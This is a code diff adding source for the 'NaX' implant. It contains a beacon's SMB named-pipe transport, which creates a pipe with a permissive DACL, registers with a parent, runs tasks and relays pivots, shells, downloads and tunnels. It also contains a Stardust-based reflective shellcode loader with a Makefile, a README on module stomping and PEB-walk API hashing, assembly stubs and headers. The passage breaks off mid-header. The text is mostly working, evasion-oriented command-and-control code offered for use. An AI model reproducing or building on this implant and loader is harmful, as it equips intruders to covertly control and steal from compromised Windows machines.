NaxPipeWrite( Nax, hPipe, hWriteEvent, beatBuf, beatLen ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf ); + if ( ! beatOk ) { + NaxDbg( Nax, "NaxPipeWrite REGISTER failed" ); + return FALSE; + } + NaxDbg( Nax, "REGISTER beat sent (%u bytes)", beatLen ); + return TRUE; +} + +FUNC static BOOL SmbSendHeartbeat( PNAX_INSTANCE Nax, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) { + UINT32 frame_len = frame_cap; + if ( NaxBuildHeartbeat( frame_buf, &frame_len ) != NAX_OK ) return TRUE; + UINT32 env_len = env_cap; + if ( NaxEncrypt( Nax, frame_buf, frame_len, env_buf, &env_len ) != NAX_OK ) return TRUE; + if ( ! NaxPipeWrite( Nax, hPipe, hWriteEvent, env_buf, env_len ) ) { + NaxDbg( Nax, "HEARTBEAT write failed" ); + return FALSE; + } + NaxDbg( Nax, "HEARTBEAT sent" ); + return TRUE; +} + +FUNC static BOOL SmbHandleParentData( PNAX_INSTANCE Nax, BOOL rdOk, OVERLAPPED* ovRead, DWORD* nRead, UINT32 hdrBuf, HANDLE hPipe, HANDLE hReadEvent, HANDLE hWriteEvent, PBYTE io_buf, UINT32 io_cap, PBYTE plain_buf, PBYTE result_buf, UINT32 result_cap, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap ); + +FUNC static BOOL SmbDispatchTasks( PNAX_INSTANCE Nax, PBYTE plain_buf, UINT32 plain_len, PBYTE result_buf, UINT32 result_cap, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) { + PBYTE cursor = plain_buf; + UINT32 remaining = plain_len; + + while ( remaining >= NAX_FRAME_HDR ) { + BYTE ft = 0; PBYTE fb = NULL; UINT32 fbl = 0; + if ( NaxFrameDecode( cursor, remaining, &ft, &fb, &fbl ) != NAX_OK ) break; + + UINT32 step = NAX_FRAME_HDR + fbl; + if ( step > remaining ) break; + cursor += step; + remaining -= step; + + if ( ft == NAX_WIRE_NO_TASKS ) break; + if ( ft != NAX_WIRE_TASK ) continue; + + NAX_TASK task; + if ( NaxDecodeTask( fb, fbl, &task ) != NAX_OK ) { + NaxDbg( Nax, "[task] decode FAILED fbl=%u", fbl ); + continue; + } + NaxDbg( Nax, "[task] cmd=0x%02x id=0x%08x argsLen=%u", task.CmdId, task.TaskId, task.ArgsLen ); + + UINT32 r_tid = 0; + BYTE r_stat = 0; + UINT32 r_len = result_cap; + + if ( ! NaxDispatch( Nax, &task, &r_tid, &r_stat, result_buf, &r_len ) ) { + NaxDbg( Nax, "[task] cmd=0x%02x: no result (exit)", task.CmdId ); + continue; + } + + NaxDbg( Nax, "[task] cmd=0x%02x done: stat=0x%02x r_len=%u", task.CmdId, r_stat, r_len ); + + if ( ! SmbSendResult( Nax, r_tid, r_stat, result_buf, r_len, frame_buf, frame_cap, env_buf, env_cap, hPipe, hWriteEvent ) ) { + NaxDbg( Nax, "[task] result write failed" ); + return FALSE; + } + NaxDbg( Nax, "[task] result sent" ); + } + return TRUE; +} + +FUNC static BOOL SmbHandleParentData( PNAX_INSTANCE Nax, BOOL rdOk, OVERLAPPED* ovRead, DWORD* nRead, UINT32 hdrBuf, HANDLE hPipe, HANDLE hReadEvent, HANDLE hWriteEvent, PBYTE io_buf, UINT32 io_cap, PBYTE plain_buf, PBYTE result_buf, UINT32 result_cap, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap ) { + if ( ! rdOk && ! Nax->Kernel32.GetOverlappedResult( hPipe, ovRead, nRead, TRUE ) ) { + NaxDbg( Nax, "GetOverlappedResult header failed" ); + return FALSE; + } + + UINT32 msgLen = hdrBuf; + if ( msgLen == 0 || msgLen > io_cap ) { + NaxDbg( Nax, "invalid msg len: %u", msgLen ); + return FALSE; + } + + if ( ! NaxPipeRead( Nax, hPipe, hReadEvent, io_buf, msgLen ) ) { + NaxDbg( Nax, "NaxPipeRead body failed" ); + return FALSE; + } + + UINT32 plain_len = io_cap; + if ( NaxDecrypt( Nax, io_buf, msgLen, plain_buf, &plain_len ) != NAX_OK ) { + NaxDbg( Nax, "NaxDecrypt failed" ); + return TRUE; + } + + return SmbDispatchTasks( Nax, plain_buf, plain_len, result_buf, result_cap, frame_buf, frame_cap, env_buf, env_cap, hPipe, hWriteEvent ); +} + +/* ========= [ NaxSmbMain - child beacon pipe transport ] ========= */ + +FUNC VOID NaxSmbMain( PNAX_INSTANCE Nax ) { + /* ---- build pipe path: \\.\pipe\ ---- */ + CHAR pipePrefix[] = { '\\', '\\', '.', '\\', 'p', 'i', 'p', 'e', '\\', '\0' }; + CHAR pipePath[256]; + MmZero( pipePath, 256 ); + + UINT32 pfx_len = 0; + while ( pipePrefix[pfx_len] ) pfx_len++; + + UINT32 name_len = 0; + while ( Nax->Config.C2Url[name_len] ) name_len++; + + if ( pfx_len + name_len >= 256 ) return; + MmCopy( pipePath, pipePrefix, pfx_len ); + MmCopy( pipePath + pfx_len, Nax->Config.C2Url, name_len ); + pipePath[pfx_len + name_len] = '\0'; + + NaxDbg( Nax, "SMB pipe: %s", pipePath ); + + /* ---- build permissive DACL ---- */ + SECURITY_DESCRIPTOR sd; + PACL pAcl = NULL; + SECURITY_ATTRIBUTES sa; + MmZero( &sd, sizeof( sd ) ); + MmZero( &sa, sizeof( sa ) ); + + if ( ! SmbBuildPermissiveDacl( Nax, &sd, &pAcl ) ) { + NaxDbg( Nax, "DACL build failed" ); + return; + } + sa.nLength = sizeof( SECURITY_ATTRIBUTES ); + sa.lpSecurityDescriptor = &sd; + sa.bInheritHandle = FALSE; + + /* ---- create named pipe ---- */ + HANDLE hPipe = Nax->Kernel32.CreateNamedPipeA( + pipePath, + PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, + PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, + 1, + NAX_PIPE_BUF_SIZE, + NAX_PIPE_BUF_SIZE, + 0, + &sa + ); + if ( hPipe == INVALID_HANDLE_VALUE ) { + NaxDbg( Nax, "CreateNamedPipeA failed: %u", Nax->Kernel32.GetLastError() ); + if ( pAcl ) Nax->Kernel32.GlobalFree( pAcl ); + return; + } + + /* ---- create events ---- */ + HANDLE hConnEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL ); + HANDLE hReadEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL ); + HANDLE hWriteEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL ); + if ( ! hConnEvent || ! hReadEvent || ! hWriteEvent ) { + NaxDbg( Nax, "CreateEventA failed" ); + Nax->Kernel32.CloseHandle( hPipe ); + if ( pAcl ) Nax->Kernel32.GlobalFree( pAcl ); + return; + } + + /* ---- heap-allocate I/O buffers ---- */ + UINT32 IO_CAP = NAX_IO_CAP; + UINT32 RESULT_CAP = NAX_IO_CAP; + UINT32 FRAME_CAP = RESULT_CAP + 256; + + PBYTE io_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP ); + PBYTE plain_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP ); + PBYTE result_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, RESULT_CAP ); + PBYTE frame_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP ); + PBYTE env_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP ); + if ( ! io_buf || ! plain_buf || ! result_buf || ! frame_buf || ! env_buf ) { + NaxDbg( Nax, "heap alloc failed" ); + Nax->Kernel32.CloseHandle( hPipe ); + if ( pAcl ) Nax->Kernel32.GlobalFree( pAcl ); + return; + } + + /* ---- session id ---- */ + BYTE raw[8]; + Nax->Bcrypt.BCryptGenRandom( NULL, raw, 8, BCRYPT_USE_SYSTEM_PREFERRED_RNG ); + NaxHexEncode( raw, 8, Nax->SessionId ); + NaxDbg( Nax, "session: %s", Nax->SessionId ); + + /* ======== outer loop - accept connections ======== */ + for ( ;; ) { + NaxDbg( Nax, "waiting for parent connection..." ); + + OVERLAPPED ovConn; + MmZero( &ovConn, sizeof( ovConn ) ); + ovConn.hEvent = hConnEvent; + Nax->Kernel32.ResetEvent( hConnEvent ); + + BOOL connOk = Nax->Kernel32.ConnectNamedPipe( hPipe, &ovConn ); + if ( ! connOk ) { + DWORD err = Nax->Kernel32.GetLastError(); + if ( err == ERROR_IO_PENDING ) { + DWORD wr = Nax->Kernel32.WaitForSingleObject( hConnEvent, INFINITE ); + if ( wr != WAIT_OBJECT_0 ) { + Nax->Kernel32.CancelIo( hPipe ); + continue; + } + } else if ( err != ERROR_PIPE_CONNECTED ) { + NaxDbg( Nax, "ConnectNamedPipe failed: %u", err ); + Nax->Kernel32.Sleep( Nax->Config.SleepMs ); + continue; + } + } + NaxDbg( Nax, "parent connected" ); + + /* gather fresh sysinfo per connection */ + NAX_SYSINFO info; + NaxGatherSysInfo( Nax, &info ); + + /* register with parent */ + if ( ! SmbDoRegister( Nax, &info, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent ) ) { + Nax->Kernel32.FlushFileBuffers( hPipe ); + Nax->Kernel32.DisconnectNamedPipe( hPipe ); + NaxDbg( Nax, "parent disconnected (register failed), re-entering accept loop" ); + continue; + } + + /* ======== inner loop - task processing ======== */ + BOOL pipe_ok = TRUE; + BOOL justSentOutput = FALSE; + UINT32 pivotPollCount = 0; + UINT64 lastActivityTick = 0; + while ( pipe_ok ) { + UINT32 hdrBuf = 0; + OVERLAPPED ovRead; + MmZero( &ovRead, sizeof( ovRead ) ); + ovRead.hEvent = hReadEvent; + Nax->Kernel32.ResetEvent( hReadEvent ); + DWORD nRead = 0; + BOOL rdOk = Nax->Kernel32.ReadFile( hPipe, &hdrBuf, 4, &nRead, &ovRead ); + + if ( ! rdOk && Nax->Kernel32.GetLastError() != ERROR_IO_PENDING ) { + NaxDbg( Nax, "ReadFile header failed: %u", Nax->Kernel32.GetLastError() ); + pipe_ok = FALSE; + break; + } + + /* arm pivot child reads */ + NAX_PIVOT* _pv = Nax->PivotHead; + while ( _pv ) { + NaxPostPivotHeaderRead( Nax, _pv ); + _pv = _pv->Next; + } + + BOOL hasOutput = justSentOutput + || ( Nax->DownloadHead != NULL ) + || ( Nax->JobHead != NULL ) + || ( Nax->ShellHead != NULL ); + justSentOutput = FALSE; + + HANDLE waitHandles[64]; + DWORD handleCount = 0; + waitHandles[handleCount++] = hReadEvent; + _pv = Nax->PivotHead; + while ( _pv && handleCount < 64 ) { + if ( _pv->Async->RdPending ) + waitHandles[handleCount++] = _pv->Async->OvRead.hEvent; + _pv = _pv->Next; + } + if ( Nax->JobWakeEvent && handleCount < 64 ) + waitHandles[handleCount++] = Nax->JobWakeEvent; + if ( Nax->TunnelEvent && handleCount < 64 ) + waitHandles[handleCount++] = Nax->TunnelEvent; + + UINT32 sleepMs = NaxEffectiveSleep( Nax ); + BOOL idleWait = FALSE; + DWORD wfmo_timeout; + if ( hasOutput ) { + wfmo_timeout = 0; + } else if ( pivotPollCount > 0 ) { + wfmo_timeout = 100; + pivotPollCount--; + } else if ( SmbTunnelActive( Nax ) ) { + wfmo_timeout = 100; + idleWait = TRUE; + } else if ( lastActivityTick && ( Nax->Kernel32.GetTickCount64() - lastActivityTick ) < 5000 ) { + wfmo_timeout = 100; + } else { + wfmo_timeout = sleepMs ? sleepMs : INFINITE; + idleWait = TRUE; + } + DWORD wait = Nax->Kernel32.WaitForMultipleObjects( handleCount, waitHandles, FALSE, wfmo_timeout ); + + if ( wait == WAIT_OBJECT_0 ) { + pipe_ok = SmbHandleParentData( Nax, rdOk, &ovRead, &nRead, hdrBuf, hPipe, hReadEvent, hWriteEvent, io_buf, IO_CAP, plain_buf, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP ); + } else if ( wait == WAIT_TIMEOUT || ( wait > WAIT_OBJECT_0 && wait < WAIT_OBJECT_0 + handleCount ) ) { + Nax->Kernel32.CancelIo( hPipe ); + DWORD nHdr = 0; + if ( Nax->Kernel32.GetOverlappedResult( hPipe, &ovRead, &nHdr, TRUE ) && nHdr == 4 && hdrBuf > 0 ) + pipe_ok = SmbHandleParentData( Nax, TRUE, &ovRead, &nHdr, hdrBuf, hPipe, hReadEvent, hWriteEvent, io_buf, IO_CAP, plain_buf, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP ); + else if ( wait == WAIT_TIMEOUT && idleWait ) + pipe_ok = SmbSendHeartbeat( Nax, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent ); + } else { + NaxDbg( Nax, "WaitForMultipleObjects unexpected: %u", wait ); + pipe_ok = FALSE; + } + + if ( ! pipe_ok ) break; + + /* Snapshot DataSent BEFORE SmbRelayPivots → NaxProcessPivots + * clears it. Without this, CmdPivotExec's flag is consumed + * inside NaxProcessPivots and the fast-poll path never fires, + * causing a full sleepMs delay before child results are read. */ + BOOL anyPivotDataSent = FALSE; + _pv = Nax->PivotHead; + while ( _pv ) { + if ( _pv->Async->DataSent ) + anyPivotDataSent = TRUE; + _pv = _pv->Next; + } + + BOOL dataRelayed = FALSE; + if ( Nax->PivotHead ) + pipe_ok = SmbRelayPivots( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent, &dataRelayed ); + + if ( pipe_ok && Nax->DownloadHead ) + pipe_ok = SmbRelayDownloads( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent ); + + if ( pipe_ok && Nax->JobHead ) + pipe_ok = SmbRelayJobs( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent ); + + if ( pipe_ok && Nax->ShellHead ) + pipe_ok = SmbRelayShells( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent ); + + BOOL tunnelRelayed = FALSE; + if ( pipe_ok && Nax->TunnelHead ) { + pipe_ok = SmbRelayTunnels( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent, &tunnelRelayed ); + if ( Nax->TunnelEvent && Nax->Ws2.WSAResetEvent ) + Nax->Ws2.WSAResetEvent( Nax->TunnelEvent ); + } + + if ( anyPivotDataSent || dataRelayed || tunnelRelayed ) + justSentOutput = TRUE; + if ( justSentOutput ) { + pivotPollCount = 5; + lastActivityTick = Nax->Kernel32.GetTickCount64(); + } + } + + Nax->Kernel32.FlushFileBuffers( hPipe ); + Nax->Kernel32.DisconnectNamedPipe( hPipe ); + NaxDbg( Nax, "parent disconnected, re-entering accept loop" ); + } +} + +/* ========= [ NaxSmbPost stub - satisfies linker for HTTP builds ] ========= */ + +FUNC INT NaxSmbPost( PNAX_INSTANCE Nax, const PWCHAR pipe_path, const PCHAR sid, + const PBYTE body, UINT32 body_len, + PBYTE resp_buf, UINT32* resp_len ) { + return NAX_ERR_INVAL; +} diff --git a/src_beacon/tools/hash.py b/src_beacon/tools/hash.py new file mode 100644 index 0000000..98afc74 --- /dev/null +++ b/src_beacon/tools/hash.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python3 +"""FNV1a-32 hash for NaX beacon API/module names - matches NaxHashStr in Ldr.c.""" +import sys + +def fnv1a32(s: str) -> int: + h = 0x811C9DC5 + for c in s.upper(): + h ^= ord(c) + h = (h * 0x01000193) & 0xFFFFFFFF + return h + +if __name__ == "__main__": + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} Name [Name ...]", file=sys.stderr) + sys.exit(1) + for name in sys.argv[1:]: + key = name.upper().replace(".", "_").replace("-", "_") + print(f"#define H_{key:<36} 0x{fnv1a32(name):08X}u /* {name} */") diff --git a/src_loader/CMakeLists.txt b/src_loader/CMakeLists.txt new file mode 100644 index 0000000..cba7d79 --- /dev/null +++ b/src_loader/CMakeLists.txt @@ -0,0 +1,21 @@ +cmake_minimum_required( VERSION 3.27 ) +project( Stardust ) + +set( CMAKE_CXX_STANDARD 11 ) +set( CMAKE_CXX_COMPILER x86_64-w64-mingw32-g++ ) +set( CMAKE_CXX_FLAGS ${COMPILE_FLAGS} ) + +set( CMAKE_C_STANDARD 11 ) +set( CMAKE_C_COMPILER x86_64-w64-mingw32-gcc ) +set( CMAKE_C_FLAGS ${COMPILE_FLAGS} ) + +include_directories( include ) + +set( STARDUST-SRC + src/PreMain.c + src/Main.c + src/Ldr.c + src/Utils.c +) + +add_executable( Stardust ${STARDUST-SRC} ) diff --git a/src_loader/Makefile b/src_loader/Makefile new file mode 100644 index 0000000..c30eeb0 --- /dev/null +++ b/src_loader/Makefile @@ -0,0 +1,98 @@ +# NaX src_loader/makefile - build Stardust-style UDRL → bin/nax_loader.x64.bin +# +# Source layout: +# asm/x64/Stardust.asm - Start / StRipStart / StRipEnd (entry + end marker) +# src/PreMain.c - Stardust instance init, ntdll resolution, calls Main +# src/Main.c - NAX UDRL: finds beacon, allocs RW, copies, RX, calls +# src/Ldr.c - PEB-walk module + export resolver (LdrModulePeb / LdrFunction) +# src/Utils.c - HashString (djb2-style, used by Ldr / HASH_STR) +# include/ - Common.h, Macros.h, Defs.h, Constexpr.h, Native.h, ... +# +# Build pipeline: +# NASM → bin/obj/asm_Stardust.x64.o +# g++ → bin/obj/nax_XXXX.x64.o (compiled as C++ for constexpr / extern "C") +# g++ → bin/nax_loader.x64.exe (linked with scripts/Linker.ld via -Wl,-T) +# objcopy --dump-section .text → bin/nax_loader.x64.bin +# +# The final .bin is the raw shellcode blob: loader bytes followed immediately +# by the appended beacon (combine.sh handles the concatenation). +# +# Requirements: +# x86_64-w64-mingw32-g++ +# nasm +# objcopy (binutils) + +MAKEFLAGS += -s + +## +## Toolchain +## +CC_X64 := x86_64-w64-mingw32-g++ +NASM := nasm +OBJCOPY := objcopy + +## +## Technique selection (overridable from parent Makefile) +## +NAX_STOMP_MODE ?= 1 +NAX_EXEC_MODE ?= 1 + +## +## Compiler / linker flags (Stardust original flags preserved) +## +CFLAGS := -Os -fno-asynchronous-unwind-tables -nostdlib +CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1 +CFLAGS += -s -ffunction-sections -falign-jumps=1 -w +CFLAGS += -falign-labels=1 -fPIC +CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup +CFLAGS += -Iinclude -masm=intel -fpermissive +CFLAGS += -mno-sse -fno-exceptions -fno-builtin +CFLAGS += -MMD -MP +CFLAGS += -DNAX_STOMP_MODE=$(NAX_STOMP_MODE) +CFLAGS += -DNAX_EXEC_MODE=$(NAX_EXEC_MODE) + +## +## Sources / objects +## +C_SRCS := src/PreMain.c src/Main.c src/Pe.c src/Stomp.c src/Exec.c src/Ldr.c src/Utils.c +C_OBJS := $(patsubst src/%.c, bin/obj/nax_%.x64.o, $(C_SRCS)) + +ASM_OBJ := bin/obj/asm_Stardust.x64.o + +EXE_X64 := bin/nax_loader.x64.exe +BIN_X64 := bin/nax_loader.x64.bin + +## +## Targets +## +.PHONY: all clean + +all: $(BIN_X64) + +$(BIN_X64): $(EXE_X64) + $(OBJCOPY) --dump-section .text=$(BIN_X64) $(EXE_X64) 2>/dev/null; true + @touch $(BIN_X64) + @echo " BIN $(BIN_X64) ($$(wc -c < $(BIN_X64)) bytes)" + +$(EXE_X64): $(ASM_OBJ) $(C_OBJS) + @echo "[+] link NAX loader x64" + $(CC_X64) $(ASM_OBJ) $(C_OBJS) -o $(EXE_X64) \ + $(CFLAGS) -Wl,-Tscripts/Linker.ld 2>&1 || true + +bin/obj/nax_%.x64.o: src/%.c | bin/obj + @echo "[*] compile $<" + $(CC_X64) -c $< -o $@ $(CFLAGS) + +$(ASM_OBJ): asm/x64/Stardust.asm | bin/obj + @echo "[*] assemble $<" + $(NASM) -f win64 $< -o $@ + +bin/obj: + mkdir -p bin/obj + +# gcc auto-dependency files (-MMD -MP) +C_DEPS := $(C_OBJS:.o=.d) +-include $(C_DEPS) + +clean: + rm -rf bin/obj/*.o bin/obj/*.d bin/obj/*.obj bin/*.exe bin/*.bin diff --git a/src_loader/README.md b/src_loader/README.md new file mode 100644 index 0000000..66d13d5 --- /dev/null +++ b/src_loader/README.md @@ -0,0 +1,77 @@ +# NaX UDRL Loader + +Position-independent User Defined Reflective Loader for the NaX beacon, based on the [Stardust](https://github.com/Cracked5pider/Stardust) template by Paul Ungur. + +## What It Does + +The loader is the first code that runs when the shellcode is injected. It: + +1. Resolves its own base address and size (Stardust RIP-relative technique) +2. Walks the PEB to find `ntdll.dll` and `kernel32.dll` by FNV1a hash +3. Resolves `RtlAllocateHeap` and TLS APIs via export table walk + compile-time hashes +4. Finds two consecutive TLS slots (egghunter) to store a global INSTANCE pointer +5. Parses the NaxHeader v2 (160-byte structure between loader and beacon) to extract beacon size, .pdata/.xdata offsets, stomp flags, and sacrificial DLL name +6. Places the beacon into executable memory (virtual allocation or module stomping) +7. Transfers execution to the beacon entry point (thread pool or CreateThread) + +## Techniques + +Technique selection is compile-time via preprocessor defines: + +| Define | Value | Technique | +|--------|-------|-----------| +| `NAX_STOMP_MODE` | `NAX_STOMP_VIRTUAL` (0) | `NtAllocateVirtualMemory` -- private RWX allocation | +| `NAX_STOMP_MODE` | `NAX_STOMP_MODULE` (1) | Module stomp -- load sacrificial DLL, overwrite its `.text` section | +| `NAX_EXEC_MODE` | `NAX_EXEC_THREAD` (0) | `CreateThread` -- start address = beacon entry | +| `NAX_EXEC_MODE` | `NAX_EXEC_THREADPOOL` (1) | `TpAllocWork` + `TpPostWork` -- start address = `TppWorkerThread` | + +### Module Stomping + +When `NAX_STOMP_MODE == NAX_STOMP_MODULE`: + +- Loads a sacrificial DLL with `LoadLibraryExW(DONT_RESOLVE_DLL_REFERENCES)` (no DllMain execution) +- Writes the beacon into the DLL's `.text` section so it appears as image-backed memory (MEM_IMAGE) +- Patches the LDR entry with flags: `ImageDll | LoadNotificationsSent | ProcessStaticImport | EntryProcessed` +- Stomps valid `.pdata` (RUNTIME_FUNCTION) and `.xdata` (UNWIND_INFO) into the DLL for clean stack walks + +## Hashing + +All API and module resolution uses FNV1a-32: + +- **Seed:** `0x811c9dc5` (`H_MAGIC_KEY`) +- **Prime:** `0x01000193` (`H_MAGIC_PRIME`) +- **Algorithm:** `Hash ^= Char; Hash *= Prime;` (XOR then multiply) +- **Case-insensitive:** uppercased before hashing + +Compile-time hashing via `HASH_STR()` (constexpr in C++ mode) ensures no API name strings appear in the shellcode. + +## Source Files + +``` +src/ + Entry.asm # NASM entry point, calls PreMain + PreMain.c # Stardust bootstrap: RIP calc, PEB walk, TLS egghunter + Main.c # API resolution, NaxHeader parsing, stomp/exec dispatch + Ldr.c # LdrModulePeb (PEB walk), LdrFunction (export walk + forwarding) + Pe.c # PE header helpers: NaxPeHeaders, NaxFindSection, NaxFindSectionByDir + Stomp.c # Module stomping: NaxModuleStomp, NaxPatchLdr + Exec.c # Execution transfer: NaxExecThreadPool, NaxExecThread + Utils.c # HashString (FNV1a, case-insensitive) +include/ + Common.h # Base types, PEB structures, compiler macros + Constexpr.h # HASH_STR / ExprHashStringA (compile-time FNV1a) + Defs.h # Pre-computed module/API hashes, NaxHeader layout + Loader.h # Function prototypes for Stomp/Exec/Pe + Macros.h # FUNC, STARDUST_INSTANCE, MmCopy, MmZero + Native.h # NT structures (PEB, LDR, TEB, IMAGE_*) + Utils.h # HashString prototype + Ldr.h # LdrModulePeb, LdrFunction prototypes +scripts/ + Linker.ld # Linker script for section ordering + loader.c # Dev launcher: load shellcode into RWX, execute + stomper.c # Dev launcher: load nax.bin, RX, CreateThread +``` + +## Build + +The loader is built as part of the top-level `make` from the repository root. It is compiled as C++ (`x86_64-w64-mingw32-g++`) to enable constexpr hash evaluation, then linked with a custom linker script and extracted as raw `.text` via `objcopy`. diff --git a/src_loader/asm/x64/Stardust.asm b/src_loader/asm/x64/Stardust.asm new file mode 100644 index 0000000..d862bb2 --- /dev/null +++ b/src_loader/asm/x64/Stardust.asm @@ -0,0 +1,48 @@ +;; NaX src_loader - entry stubs +;; +;; Sections: +;; .text$A - Start / StRipStart +;; .text$E - StRipEnd (MUST be last section) + +[BITS 64] + +DEFAULT REL + +EXTERN PreMain + +GLOBAL Start +GLOBAL StRipStart +GLOBAL StRipEnd + +;; ========= [ .text$A - entry stubs ] ========= +[SECTION .text$A] + + Start: + push rsi + mov rsi, rsp + and rsp, 0FFFFFFFFFFFFFFF0h + sub rsp, 020h + call PreMain + mov rsp, rsi + pop rsi + ret + + StRipStart: + lea rax, [Start] + ret + +;; ========= [ .text$E - end marker ] ========= +[SECTION .text$E] + + StRipEnd: + lea rax, [.loader_end] ; 7 bytes + ret ; 1 byte + nop ; 8 bytes of padding to fill 16-byte section + nop + nop + nop + nop + nop + nop + nop + .loader_end: diff --git a/src_loader/include/Common.h b/src_loader/include/Common.h new file mode 100644 index 0000000..a8e3fe3 --- /dev/null +++ b/src_loader/include/Common.h @@ -0,0 +1,94 @@ +#ifndef STARDUST_COMMON_H +#define STARDUST_COMMON_H + +// +// system headers +// +#include + +// +// stardust headers +// +#include +#include +#include +#include +#include + +// +// NAX UDRL instance pointer - stored in TLS via consecutive-slot egghunter +// (no .global section, no NtProtectVirtualMemory on own pages). +// + +typedef struct _INSTANCE { + + // + // Base address (StRipStart) and total size of the loader blob. + // beacon_src = Base.Buffer + Base.Length + // + BUFFER Base; + + struct { + + // + // ntdll.dll - resolved in PreMain (PEB already has ntdll loaded) + // + D_API( RtlAllocateHeap ) /* heap alloc for INSTANCE itself */ + D_API( NtProtectVirtualMemory ) /* preserved for future direct-syscall use */ + D_API( VirtualProtect ) /* Win32 wrapper - avoids indirect syscall detection */ + + // + // kernel32.dll - resolved in PreMain for TLS globals + // + D_API( TlsAlloc ) + D_API( TlsSetValue ) + D_API( TlsFree ) + +#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL + D_API( NtAllocateVirtualMemory ) /* exec buffer alloc (VirtualAlloc) */ +#endif + +#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL + D_API( TpAllocWork ) /* schedule beacon on thread pool */ + D_API( TpPostWork ) /* submit work item to pool */ + D_API( TpReleaseWork ) /* release work object after exec */ +#endif + + // + // kernel32.dll - resolved in Main via PEB walk + // +#if NAX_STOMP_MODE == NAX_STOMP_MODULE + D_API( LoadLibraryExW ) /* load sacrificial DLL for stomping */ +#endif + +#if NAX_EXEC_MODE == NAX_EXEC_THREAD + D_API( CreateThread ) /* spawn beacon on clean stack */ +#endif + +#if NAX_STOMP_MODE == NAX_STOMP_MODULE + D_API( GetProcessMitigationPolicy ) + BOOL ( __stdcall *SetProcessValidCallTargets )( HANDLE, PVOID, SIZE_T, ULONG, PVOID ); +#endif + + } Win32; + + struct { + PVOID Ntdll; + PVOID Kernel32; + PVOID Kernelbase; + } Modules; + +#if NAX_STOMP_MODE == NAX_STOMP_MODULE + PVOID StompDllBase; +#endif + +} INSTANCE, *PINSTANCE; + +EXTERN_C PVOID StRipStart(); +EXTERN_C PVOID StRipEnd(); + +VOID Main( + _In_ PVOID Param +); + +#endif //STARDUST_COMMON_H diff --git a/src_loader/include/Constexpr.h b/src_loader/include/Constexpr.h new file mode 100644 index 0000000..a9fd941 --- /dev/null +++ b/src_loader/include/Constexpr.h @@ -0,0 +1,32 @@ +#ifndef STARDUST_CONSTEXPR_H +#define STARDUST_CONSTEXPR_H + +#include + +#define HASH_STR( x ) ExprHashStringA( ( x ) ) + +CONSTEXPR ULONG ExprHashStringA( + _In_ PCHAR String +) { + ULONG Hash = { 0 }; + CHAR Char = { 0 }; + + Hash = H_MAGIC_KEY; + + if ( ! String ) { + return 0; + } + + while ( ( Char = *String++ ) ) { + if ( Char >= 'a' ) { + Char -= 0x20; + } + + Hash ^= (UCHAR)Char; + Hash *= H_MAGIC_PRIME; + } + + return Hash; +} + +#endif //STARDUST_CONSTEXPR_H diff --git a/src_loader/include/Defs.h b/src_loader/include/Defs.h new file mode 100644 index 0000000..3ee990b --- /dev/null +++ b/src_loader/include/Defs.h @@ -0,0 +1,88 @@ +#ifndef STARDUST_DEFS_H +#define STARDUST_DEFS_H + +#include + +typedef struct _BUFFER { + PVOID Buffer; + ULONG Length; +} BUFFER, *PBUFFER; + +// +// Hashing defines +// +#define H_MAGIC_KEY 0x811c9dc5 +#define H_MAGIC_PRIME 0x01000193 +#define H_MODULE_NTDLL 0x318a7963 +#define H_MODULE_KERNEL32 0x04a1a06a + +// +// NaxHeader v2 - placed between loader and beacon in nax.bin +// +// Layout: [loader][NaxHeader][beacon][pdata][xdata] +// ^ ^ ^ ^ +// StRipStart() +HDR_SZ +beacon +pdata +// +#define NAX_HDR_MAGIC 0x4E415832 /* "NAX2" */ +#define NAX_HDR_SIZE 160 /* fixed header size (bytes) */ +#define NAX_HDR_DLL_MAX 64 /* max WCHAR chars for DLL name */ + +#define NAX_FLAG_MODULE_STOMP 0x0001 /* use module stomping instead of VirtualAlloc */ +#define NAX_FLAG_STOMP_PDATA 0x0002 /* stomp .pdata with unwind data */ + +// +// On-disk header (no struct due to PIC - accessed via pointer arithmetic). +// +// Offset Size Field +// 0 4 Magic (0x4E415832) +// 4 4 BeaconSize (bytes) +// 8 4 PdataSize (bytes, 0 = none) +// 12 4 XdataSize (bytes, 0 = 